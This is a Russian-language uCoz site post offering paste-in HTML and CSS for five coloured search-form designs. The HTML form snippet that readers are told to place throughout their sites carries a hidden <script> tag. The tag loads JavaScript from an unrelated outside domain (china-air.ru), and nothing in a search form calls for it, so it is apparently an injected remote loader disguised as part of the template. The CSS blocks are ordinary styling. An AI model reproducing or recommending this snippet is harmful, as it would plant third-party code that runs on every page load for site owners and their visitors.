Среда, 01.01.2025, 15:17
Программы, софт, статьи,форум, фото
Приветствую Вас Гость | RSS
Главная Регистрация Вход
Меню сайта

Категории раздела
Soft [7]
Программы
Скрипты [17]
Безопасность [11] Утилиты [23]
Игры [1] Фильмы [22]
Книги [75] Разное [3]
Предложения [0]

Вход
E-mail:
Пароль:

Поиск

Новое на сайте
[06.05.2015][Фильмы]
AutoCAD 2014. Р...
[05.05.2015][Утилиты]
ЛовиОтвет 6.1.8...
[05.05.2015][Книги,журналы]
Семейный доктор...
[01.05.2015][Утилиты]
AdwCleaner 4.20...
[25.02.2013][Soft]
Сброс пароля в Windows
[15.02.2013][Web]
Быстродействие браузера.
[13.02.2013][Soft]
PDFZilla 1.2.11

Топ файлов

Последний коммент
  • alexmocrushin саша александр
    Оставлен 13.12.2020
    Mirillis Action! 1.18.0.0

    Автор комментария: alexmocrushin
    Оставлен 13.12.2020
    Тема: Mirillis Action! 1.18.0.0

  • Comod Comod
    Оставлен 21.06.2014
    The Bat! Professional Edition 6.4.6 Final RePack

    Автор комментария: Comod
    Оставлен 21.06.2014
    Тема: The Bat! Professional Edition 6.4.6 Final RePack

  • Светлана
    Оставлен 19.08.2013
    Отслеживание посылок

    Автор комментария:
    Оставлен 19.08.2013
    Тема: Отслеживание посылок

  • Светлана
    Оставлен 19.08.2013
    Отслеживание посылок

    Автор комментария:
    Оставлен 19.08.2013
    Тема: Отслеживание посылок


  • Друзья сайта
  • AlexM Software
  • Официальный блог
  • site-best.ucoz.ru
  • Русские программы
  • РЕГИСТРАЦИЯ В ПОИСКОВЫХ СИСТЕМАХ

  • Рассылка
    Рассылки Subscribe.Ru
    Лента "Проги от Comod"

    Ошибка в тексте
    Система Orphus

    Depositfiles

    Главная » 2012 » Декабрь » 28 » Формы поиска для uCoz
    15:59
    Формы поиска для uCoz
    Представляем вашему вниманию пять цветовых вариантов форм поиска для сайтов системы uCoz.
    В место:

    Код
    $SEARCH_FORM$


    Везде ставим:

    Код
    <form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >  
      <input class="poick_pole" type="text" name="q" maxlength="45" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}"/>
      <script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
      <input class="poick_knopka" type="submit" value="Найти" />  
      <input type="hidden" name="t" value="0" />  
      </form>


    И теперь остается прописать стили!
    Фиолетовая форма:

    Код
    /* Форма поиска фиолетовая кнопка  
    ------------------------------------------*/  
    .poick_os {  
      float:left;  
      padding:4px;  
      width:300px;  
      background:#fff;  
      border: 1px solid #A0A8AC;  
    }  

    .poick_os input {  
      float:left;  
      margin:0px;  
      vertical-align:middle;  
      font:11px Verdana,Arial,Helvetica,sans-serif;  
    }  

    .poick_pole {  
      color:#555;  
      width:220px;  
      height:15px;  
      border:none;  
      padding:6px 4px;  
    }  
       
    .poick_knopka {  
      text-shadow: 1px 1px 1px #751a9b;  
      width:70px;  
      height:27px;  
      cursor:pointer;  
      background:#ce36fa;  
      border:1px solid #a622e3;  
      color:#fff; font-weight: bold!important;  
    }  
       
    .poick_knopka:hover {background:#b73cea;}  

    .poick_os,  
    .poick_knopka {  
      -webkit-border-radius: 3px;  
      -moz-border-radius: 3px;  
      border-radius: 3px;  
    }


    Синяя форма:

    Код
    /* Форма поиска синяя кнопка  
    ------------------------------------------*/  
    .poick_os1 {  
      float:left;  
      padding:4px;  
      width:300px;  
      background:#fff;  
      border: 1px solid #A0A8AC;  
    }  

    .poick_os1 input {  
      float:left;  
      margin:0px;  
      vertical-align:middle;  
      font:11px Verdana,Arial,Helvetica,sans-serif;  
    }  

    .poick_pole1 {  
      color:#555;  
      width:220px;  
      height:15px;  
      border:none;  
      padding:6px 4px;  
    }  
       
    .poick_knopka1 {  
      text-shadow: 1px 1px 1px #1061B0;  
      width:70px;  
      height:27px;  
      cursor:pointer;  
      background:#36A6FA;  
      border:1px solid #2290e3;  
      color:#fff; font-weight: bold!important;  
    }  
       
    .poick_knopka1:hover {background:#3c9fea;}  

    .poick_os1,  
    .poick_knopka1 {  
      -webkit-border-radius: 3px;  
      -moz-border-radius: 3px;  
      border-radius: 3px;  
    }


    Красная форма:

    Код
    /* Форма поиска красная кнопка  
    ------------------------------------------*/  
    .poick_os2 {  
      float:left;  
      padding:4px;  
      width:300px;  
      background:#fff;  
      border: 1px solid #A0A8AC;  
    }  

    .poick_os2 input {  
      float:left;  
      margin:0px;  
      vertical-align:middle;  
      font:11px Verdana,Arial,Helvetica,sans-serif;  
    }  

    .poick_pole2 {  
      color:#555;  
      width:220px;  
      height:15px;  
      border:none;  
      padding:6px 4px;  
    }  
       
    .poick_knopka2 {  
      text-shadow: 1px 1px 1px #b01010;  
      width:70px;  
      height:27px;  
      cursor:pointer;  
      background:#fa3636;  
      border:1px solid #e32222;  
      color:#fff; font-weight: bold!important;  
    }  
       
    .poick_knopka2:hover {background:#ea3c3c;}  

    .poick_os2,  
    .poick_knopka2 {  
      -webkit-border-radius: 3px;  
      -moz-border-radius: 3px;  
      border-radius: 3px;  
    }


    Зеленая форма:

    Код
    /* Форма поиска зелёная кнопка  
    ------------------------------------------*/  
    .poick_os3 {  
      float:left;  
      padding:4px;  
      width:300px;  
      background:#fff;  
      border: 1px solid #A0A8AC;  
    }  

    .poick_os3 input {  
      float:left;  
      margin:0px;  
      vertical-align:middle;  
      font:11px Verdana,Arial,Helvetica,sans-serif;  
    }  

    .poick_pole3 {  
      color:#555;  
      width:220px;  
      height:15px;  
      border:none;  
      padding:6px 4px;  
    }  
       
    .poick_knopka3 {  
      text-shadow: 1px 1px 1px #368620;  
      width:70px;  
      height:27px;  
      cursor:pointer;  
      background:#6ae14a;  
      border:1px solid #57c939;  
      color:#fff; font-weight: bold!important;  
    }  
       
    .poick_knopka3:hover {background:#65d447;}  

    .poick_os3,  
    .poick_knopka3 {  
      -webkit-border-radius: 3px;  
      -moz-border-radius: 3px;  
      border-radius: 3px;  
    }


    Оранжевая форма:

    Код
    /* Форма поиска оранжевая кнопка  
    ------------------------------------------*/  
    .poick_os4 {  
      float:left;  
      padding:4px;  
      width:300px;  
      background:#fff;  
      border: 1px solid #A0A8AC;  
    }  

    .poick_os4 input {  
      float:left;  
      margin:0px;  
      vertical-align:middle;  
      font:11px Verdana,Arial,Helvetica,sans-serif;  
    }  

    .poick_pole4 {  
      color:#555;  
      width:220px;  
      height:15px;  
      border:none;  
      padding:6px 4px;  
    }  
       
    .poick_knopka4 {  
      text-shadow: 1px 1px 1px #865520;  
      width:70px;  
      height:27px;  
      cursor:pointer;  
      background:#e1954a;  
      border:1px solid #c97639;  
      color:#fff; font-weight: bold!important;  
    }  
       
    .poick_knopka4:hover {background:#d48347;}  

    .poick_os4,  
    .poick_knopka4 {  
      -webkit-border-radius: 3px;  
      -moz-border-radius: 3px;  
      border-radius: 3px;  
    }
    Просмотров: 296 | Добавил: startsmart | Рейтинг: 0.0/0
    Мини профиль


    Среда 01.01.2025 15:17